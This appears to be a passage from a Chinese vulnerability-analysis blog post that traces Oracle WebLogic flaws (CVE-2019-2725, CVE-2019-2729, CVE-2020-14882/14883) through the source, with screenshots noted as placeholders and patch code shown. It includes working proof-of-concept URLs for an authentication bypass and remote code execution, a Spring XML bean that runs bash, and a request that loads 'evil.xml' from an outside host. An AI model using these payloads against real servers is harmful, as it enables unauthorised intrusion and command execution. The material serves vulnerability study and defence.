dispatch()方法中,对InternalHandlerList进行setHandlerChain()操作,然后再调用getHandlerChain().handleRequest()方法

image-20210126003819404

handleRequest()方法根据handlers列表依次调用每个handler的handleRequest(),但只要某个handler的handleRequest()返回false则直接return,后面handler的handleRequest()将不会被调用

image-20210126004609041

handlers列表如下,其中有四个需要重点关注的handler,我们需要确保它们能够全部执行,即至少执行到第17个handler

image-20210126005217365

ServerAddressingHandler.handleRequest()中,先关注setWSAVersion()方法

image-20210126005628769

其中setWSAVersion()中获取请求中Message的ActionHeader,根据ActionHeader中namespaceURI的不同进行不同的处理,而我们的目的是为了跳过weblogic.wsee.addressing.version的赋值,原因在下

image-20210126005838925

validateWSAVersion()函数中,如果weblogic.wsee.addressing.version属性若为空,则设置为WSAVersion.WSA10

image-20210126010047616

回到handleRequest()往下看,当版本号等于WSAVersion.WSA10时var24为true

image-20210126010718096

继续往下看,判断MsgHeader中的ActionHeader、RelatesToHeader存在则对相应属性进行赋值,同时使var23、var28为true,而var23、var28跟var24直接影响是否抛出异常,如果抛出异常handlers将无法继续往下遍历

image-20210126010423073

下面来到AsyncResponseHandler的handleRequest(),我们需要保证Message的weblogic.wsee.addressing.RelatesTo属性的值为非空,否则会返回false,将导致handlers无法继续往下遍历

image-20210126011018421

接着来到OperationLookupHandlerhandleRequest(),保证Message中的OperationName为非空,否则会抛出异常,令handlers无法继续往下遍历

image-20210126011223780

最后来到WorkAreaServerHandlerhandleRequest(),把Header的WorkAreaHeader部分传入WorkContextXmlInputAdapter()进行实例化,然后调用receiveRequest()处理,后面的就和CVE-2017-10271的漏洞分析一样了

image-20210126011330536

补丁

增加了对class标签的限制和array中length的大小限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("class")) { // new
throw new IllegalStateException("Invalid element qName:class");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int i = 0; i < attributes.getLength(); ++i) {
if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
}
}
}
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) { // MAXARRAYLENGTH==10000
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {

CVE-2019-2729

Oracle WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0

工具利用

https://github.com/ruthlezs/CVE-2019-2729-Exploit

1
python oracle-weblogic-deserialize.py -u http://127.0.0.1:7001 -c 'touch /tmp/success'

漏洞分析

该漏洞是对CVE-2019-2725的补丁绕过,在jdk7中解析xml时获取element元素的相关类为com.sun.beans.decoder.DocumentHandler

因为在jdk7为array元素添加属性时,只能从length,class,id中选择,而唯一能创建类的class已经被加入了黑名单,所以jdk1.7版本不受此漏洞影响,这次的绕过主要针对低于1.7的jdk版本

而weblogic1036自带的jdk版本为1.6,jdk1.6中解析xml时有很大差异,相关处理方法在com.sun.beans.ObjectHandler,我们从startElemen()方法入手

在对标签进行解析时,会对其类、属性和方法进行检查,如果存在就对其进行设置,如果方法不存在,就会生成一个new方法,如果存入forName值的话,我们就可以引入任意类了

image-20210126170922028

image-20210126172345512

所以绕过方法就是使用<array method="forName">来代替上面的<class>即可绕过黑名单

补丁

使用白名单进行修复

增加了一层validateFormat过滤,增加白名单限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class WorkContextFormatInfo {
public static final Map<String, Map<String, String>> allowedName = new HashMap();

public WorkContextFormatInfo() {
}

static {
allowedName.put("string", (Object)null);
allowedName.put("int", (Object)null) ;
allowedName.put("long", (Object)null);
Map<String, String> allowedAttr = new HashMap();
allowedAttr.put("class", "byte");
allowedAttr.put("length", "any");
allowedName.put("array", allowedAttr);
allowedAttr = new HashMap();
allowedAttr.put("index", "any");
allowedNameput("void", allowedAttr);
allowedNameput("byte", (Object)null);
allowedName.put("boolean", (Object)null);
allowedName.put("short", (Object)null);
allowedName.put("char", (Object)null);
allowedName.put("float", (Object)null);
allowedName.put("double", (Object)null) ;
allowedAttr = new HashMap();
allowedAttr.put("class", "java.beans.XMLDecoder") ;
allowedAttr.put("version", "any");
allowedName.put "java", allowedattr);
}
}

*CVE-2020-14882

Oracle WebLogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

poc

1
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal

漏洞分析

我们将入口点定义到WebLogic处理Servlet请求的函数当中

com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\WebAppServletContext.class#execute

image-20211112160713802

在判断完url非访问/WEB-INF/META-INF文件时就会执行就下面的securedExecute()函数继续解析

image-20211112160956483

持续根据就会来到doSecuredExecute()函数,这里的checkAccess()函数会用户进行鉴权操作

image-20211112170050066

如果我们想要绕过下面的认证就需令这个resourceConstraint变量不为空

image-20211112170102720

getConstraint()函数是用来判断当前url是否在请求静态资源,如果是的话就会放回对应的静态资源列表,其中具体实现如下

image-20211112171248252

因为这里的this.constraintsMap字典只有一个""的键值,所以consForAllMethods包含了所有了静态资源列表(列表如下),而consForOneMethod为空,而我们的relURI/css/%2e%2e%2fconsole.portal,所以rcForAllMethods匹配到了/css/路径,而rcForOneMethod本来就是空,所以根据程序逻辑,我们返回的是不为空的rcForAllMethods变量,从而绕过了认证操作

image-20211112171402107

接下来调用isAuthorized()函数来判断用户是否认证

image-20211112172240027

isAuthorized()函数内部又调用了checkAccess()来验证用户身份

image-20211112174107658

com.oracle.weblogic.servlet.jar!\weblogic\servlet\security\internal\ChainedSecurityModule.class#checkAccess

然后一直跟进到checkUserPerm()函数检查用户权限

image-20211112174522850

一直跟进到hasPermission()函数判断用户是否有访问权限

image-20211112221058420

虽然我们没有AdminMode,但是我们的资源列表/css/*是无需授权的,所以我们的hasPermission()返回的是true,一路跟下来之后checkAccess()函数返回的也是true,最终我们的authorized变量仍旧为true

image-20211112221257191

之后便是跟进到WebLogic从web.xml中的匹配模式找到对应的Servlet来对请求进行处理

image-20211112172827956

首先我们的*.portal模式对应的servlet-nameAppManagerServlet

image-20211112173625448

AppManagerServlet对应的servlet-classweblogic.servlet.AsyncInitServlet

image-20211112173711206

根据StubSecurityHelper类的逻辑我们会调用到对应servletservice()方法

image-20211112225039009

image-20211112225010994

service()函数里,只要url不包含;字符就会调用父类的service()方法

image-20211112163613908

持续跟进到调用到doGet()函数,然后最终调用的是doPost()函数

image-20211112164009192

这里会调用createUIContext()函数来获取对应的jspContext

image-20211112225315294

调用getTree()返回控件树

image-20211112225810102

但是在调用getTree()函数时又对pattern进行了一次url解码,这里就是目录穿越的核心

image-20211112230235971

processStream()函数内部使用getMergedControlFromFile()函数从file(即上面pattern)文件中来获取对应的UI控件

image-20211112231103897

调用getControlFactoryFromFile()函数来读取xml文件image-20211116182041346

最后通过getControlFactoryFromFileWithoutCaching()获取文件内容,即本次目录穿越漏洞的Sink

image-20211116182239347

patch

1
private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", "<", ">"};

对路径进行校验,但是可以用小写url绕过

CVE-2020-14883

poc

  1. ShellSession命令执行(Weblogic 10.3.6无此类)
1
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
  1. FileSystemXmlApplicationContext命令执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
1
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.28.164.182:9000/evil.xml")

漏洞分析

继续回到createUIContext(),我们跟进一下setServletRequest()函数

image-20211116183939028

当传入的_nfpb参数为true时,就会把isPostback设置为true

image-20211116184255406

在创建完控件上下文之后调用runLifecycle()函数进入控件的生命周期

image-20211112230430470

isOutBoundfalse(默认)和isPostbacktrue时,就会调用runInbound()函数

image-20211116184719698

runInbound()函数中会把_inboundLifecycle赋给VisitorType,每个VisitorType对应着该生命周期中的一个控件操作,其中_inboundLifecycle的第一个控件操作为UIControl.init

image-20211116185044545

题外,其实这里的_nfpb=true并不是必须的,因为我们的核心是调用到UIControl.init控件操作,而_outboundLifecycle实际也有这个操作

image-20211116192941383

调用walk()来遍历console.portal文件中的控件节点并对其执行VisitorType中对应的操作

image-20211116185335651

跟进walkRecursive()函数

image-20211112160156084

当遍历指针visit识别到有节点时就会调用visit()函数执行对应的控件操作

image-20211116190638412

而这里就是对控件进行初始化

image-20211116191217581

如果该节点具有子节点就继续调用walkRecursive()函数对子节点进行遍历

image-20211116185825460

遍历方向如下图所示

image-20211116191101845

在识别到/PortalConfig/contentheader/ContentHeader_breadcrumbs.portlet节点时,程序会调用Portlet类父类的初始化函数

image-20211113011922491

image-20211113011937480

其中Portlet类的继承链和init()操作如下

1
2
3
4
5
6
7
8
class Portlet extends class Window
super.init()
class Window extends class EntitledUIControl
super.init()
class EntitledUIControl extends class AdministeredBackableControl
init() <== not exists
class AdministeredBackableControl
init()

所以它最终会调用到AdministeredBackableControlinit()函数进行初始化

image-20211112160001615

netuix_servlet.jar!\com\bea\netuix\servlets\controls\Backable.class#initializeBackingFile

继续跟进它的init()函数

image-20211112155932230

这里是获取了我们传入的handle参数

image-20211112155806888

然后程序就可以初始化任意handle

image-20211113002831750

其中ShellSession类的调用栈如下

image-20211113002623429

其中FileSystemXmlApplicationContext类的调用栈如下

下载xml文件

image-20211113015257300

解析xml文件

image-20211113015841997

patch

  1. 官方对CVE-2020-14883的补丁是在com\bea\console\handles\HandleFactory#getHandle的方法中对传入的类的类型进行检查,是否为handle的子类。这里通过handle实现类com.bea.console.handles.HandleImpl的子类com.bea.console.handles.JndiBindingHandle的接收String的构造方法将jndi的url作为payload传入;单独这一点并不能实现RCE(之前虽然知道补丁的修复方式但是觉得单独这个无法RCE就没细看,谁知道可以结合其他点来实现RCE)。

  2. 在com.bea.console.actions.jndi.JNDIBindingAction#execute方法中,构造了JndiBindingHandle对象,并通过获取jndi的payload,并进行了特定的拼接(这里根据其拼接方式进行特殊构造),调用javax.naming.Context#lookup实现了jndi注入导致的RCE。

回显构造

具体参考一下@Y4er师傅的文章

  1. defineClass
  2. RMI绑定实例
  3. URLClassLoader抛出异常
  4. 中间件
  5. 写文件css、js
  6. dnslog

思考总结

  1. 只有实现了Serializable接口或Externalizable接口的类才能进行序列化
  2. 被transient和static修饰的变量不参与修饰符,其值为null
  3. readResolve()方法如果被定义会在readObject()方法后被调用,修改反序列化的对象
  4. Externalizable接口定义了writeExternal()和readExternal()方法,对应Serializable接口的writeObject()和readObject()方法
  5. 历史漏洞梳理,大部分新漏洞的造成都是对黑名单的绕过:
    • CVE-2015-4852、CVE2016-0638、CVE-2016-3510、CVE-2019-2890都是直接搜索能对ObjectInputStream直接进行操作的readObject()或者readExternal()方法
    • CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3245主要在RMI的前提下不断搜索RemoteObject相似子类来绕过,或者是直接绕过resolveProxyClass()的检查
    • CVE-2020-2551运用T3协议和IIOP协议之间的差异进行绕过,关键的地方就是T3的resolveClass()方法会检查其父类,而IIOP的resolveClass()只会检查其本身类
    • CVE-2020-2555、CVE-2020-2883、CVE-2020-14645挖掘出了一条新的extractor反射链并不断搜索能够调用此方法的相似类进行绕过
    • CVE-2020-14644通过defineClass()来加载我们的恶意类,这是一个很巧妙的思路
    • CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729是根据对标签的差异解析进行绕过,这需要对源码进行深入解读才可以

参考

java反序列化漏洞(1)之反射机制

Java反序列 Jdk7u21 Payload 学习笔记

Weblogic反序列化历史漏洞全汇总

CVE-2015-4852——WebLogic反序列化初探

从Weblogic原理上探究CVE-2015-4852、CVE-2016-0638、CVE-2016-3510究竟怎么一回事

CVE-2017–10271漏洞原理分析

weblogic远程调试XMLDecoder RCE CVE-2017-10271

CVE-2019-2725分析

WebLogic | CVE-2019-2725反序列化漏洞分析

CVE-2017-3248——WebLogic反序列化初探

CVE-2018-2628 Weblogic反序列化漏洞分析

CVE-2018-2893:Oracle WebLogic Server 远程代码执行漏洞分析预警

Weblogic JRMP反序列化漏洞回顾

CVE-2019-2729 WEBLOGIC XMLDECODER反序列化漏洞分析

Weblogic-T3-CVE-2019-2890-Analysis

Weblogic12c T3 协议安全漫谈

Weblogic 远程命令执行漏洞(CVE-2020-14644)分析

Weblogic 远程命令执行漏洞(CVE-2020-14645)分析

CVE-2020-2551: Weblogic IIOP反序列化漏洞分析

CVE-2020-14882:Weblogic Console 权限绕过深入解析

Weblogic Console漏洞分析